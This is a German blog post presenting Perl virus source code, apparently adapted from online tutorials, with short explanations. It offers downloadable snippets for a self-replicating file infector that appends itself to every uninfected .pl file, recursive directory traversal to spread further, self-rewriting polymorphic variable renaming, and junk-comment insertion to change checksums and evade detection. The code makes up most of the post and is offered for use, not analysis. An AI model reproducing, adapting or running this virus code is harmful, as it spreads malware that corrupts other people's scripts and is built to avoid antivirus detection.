R3s1stanc3

Ich bin root, ich darf das!

Perl Viren

Viren in Perl haben den Vorteil, dass sie erstmal auf jedem OS laufen, auf dem Perl installiert ist.

Da Perl eine Scriptsprache ist, ist Polymorphismus im Sinne von Varchanging einfach umsetzbar.

Hier sind ein paar Snippets von mir, die alle mithilfe der Tutorials von perforin (http://virii.lu/) entstanden sind:

(varchange.pl) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sub varchange{
  @chase = ("A".."Z","a".."z","0".."9");
  @change = ("infect", "pfad", "activate", "encoded");   # zu wechselnde Variablen
  @var;
  for ($i = 0;$i < scalar(@change); $i++){
      $var[$i] = $chase[int(rand(52))].$chase[int(rand(62))].$chase[int(rand(62))].$chase[int(rand(62))].$chase[int(rand(62))];   # Zufallsstring erstellen
  }
  open(myself, "<", "$0"); # sich selbst einlesen
  @myself = <myself>;
  close(myself);
  open(me, ">", "$0");
  foreach $line (@myself){
      for($i = 0; $i < scalar(@change); $i++){
          while($line =~ /$change[$i]/){
              $line =~ s/$change[$i]/$var[$i]/; # Strings duchr Zufallsstrings ersetzen
          }
      }
      print me $line; # Zeile wieder in Datei schreiben
  }
  close(me);
}

by perforin, überarbeitet by me

(infect.pl) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/perl               

&viri();

sub viri{

  sub isInfected{
      $file = $_[0];
      open(pl, "<", $file);
      @perl = <pl>;
      close(pl);
      return $perl[0] =~ /               /; # auf Infection Mark überprüfen
  }


  @case = ("A".."Z","a".."z","0".."9");
  $call = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))]; # zufälliger Funktionsname
  foreach $pl ( glob("*.pl") ) {
      if ( isInfected($pl) == 0) { # wenn noch nicht infiziert
          open(me, $0); # einlesen
          open(target, "<", "$pl");
          $_ = <target>;
          $_ = <target>;
          $new = $1 . "#!/usr/bin/perl               n&$call()n" . $_; # 1. Zeile mit Infectionmark und 2. Zeile mit Funktionscall schreiben
          while ( <target> ) { $new = $new . $_; } # Rest der Datei in Variable schreiben
          seek(me, 0, 0);
          while ( <me> ne "sub viri{n" ) { };
          $new = $new . "nsub $call{n";
          while ( <me> ) { $new = $new . $_; } # Viruscode in Variable schreiben
          close(target);
          open(target, ">", $pl);
          print target $new; # Variable in die Datei schreiben
          close(target);
          close(me);
      }
  }
}

Das Infection-Mark sind 6 Leerzeichen in der ersten Zeile. Jede Perl Datei im aktuellen Ordner wird geöffnet und überprüft, ob sie schon infiziert ist. Ist dies nicht der der Fall, wird in eine neue Variable Die erste Zeile MIT Infection-Mark geschrieben, in die nächste Zeile ein Aufruf für eine zufällige Subroutine (zufällig im Sinne von zufälliger Name). Dann wird der zu infizierende Code in die Variable geschrieben und der Virus-Code als Subroutine mit oben genanntem zufälligem Namen ans Ende der Datei geschrieben. (by me)

Ordnerstruktur nach unten durcharbeiten (rekrussiv): Wenn man mal nicht nur dem Ordner in dem man sich befindet Dateien infizieren will

(foldinfect.pl) download
1
2
3
4
5
6
7
8
9
10
sub foldInfect{
  foreach $dirs (<*>) {
      if ((-r $dirs) && (-w $dirs) && (-d $dirs)) {
          chdir ($dirs);
          #auszuführende Funktionen
                        &foldInfect();
          chdir('..');
      }
  }
}

(by me)

(trash.pl) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sub trash{
  open(vir, "<", "$0");
  @myself = <vir>;
  close(vir);
  open(me, ">", "$0");
  foreach $line (@myself){
      $zahl1 = int( rand(501) );
      $zahl2 = int( rand(501) );
      print me $line;
      print me "#$zahl1n";
      print me "#$zahl2n";
  }
  close(me);
}

Nach jeder Zeile werden zwei Zeilen “Trashcode” in Form von Kommentaren eingefügt. Kein echter Trashcode aber die Prüfsumme ändert sich (by perforin)